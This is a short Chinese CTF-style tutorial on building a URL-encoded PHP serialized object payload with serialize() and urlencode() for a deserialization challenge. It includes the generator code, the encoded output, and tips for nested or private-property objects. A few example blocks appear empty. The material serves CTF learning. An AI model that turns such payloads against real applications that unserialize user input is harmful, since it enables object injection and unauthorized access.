🛠 方法¶
就是用 serialize()
函数 + urlencode()
PHP自带的!
代码示例:¶
phpCopyEdit<?php
// 1. 创建一个实例
class wllm {
public $admin;
public $passwd;
}
// 2. 创建对象并赋值
$exp = new wllm();
$exp->admin = "admin"; // 赋值
$exp->passwd = "ctf"; // 赋值
// 3. 序列化并 URL 编码(直接拿去传参)
echo urlencode(serialize($exp));
?>
⚡ 输出结果¶
运行这段后输出的就是:
O%3A4%3A%22wllm%22%3A2%3A%7Bs%3A5%3A%22admin%22%3Bs%3A5%3A%22admin%22%3Bs%3A6%3A%22passwd%22%3Bs%3A3%3A%22ctf%22%3B%7D
也就是 URL 编码过的:
可以直接用在 URL 里面传!
✨ 如果要直接生成未编码的版本¶
也可以简单一点:
就得到原版的:
🎯 为什么要 urlencode?¶
因为直接写裸的对象串到 URL,会有很多特殊字符(比如 :
,{
,"
)需要转义,不然浏览器或者服务器会解析错。
所以加 urlencode()
是最保险的处理方式!
💡 小总结¶
用途 | 方法 |
---|---|
想要直接payload字符串 | serialize($obj); |
想直接塞进URL | urlencode(serialize($obj)); |
🔥 BONUS:更复杂的情况¶
如果以后遇到:
- 需要嵌套对象(对象里套对象)
- 属性是 private / protected
- 类名是动态的
用这个方法也一样适用!
只要在代码里把对象关系建好,serialize()
会自动生成标准payload,不怕出错!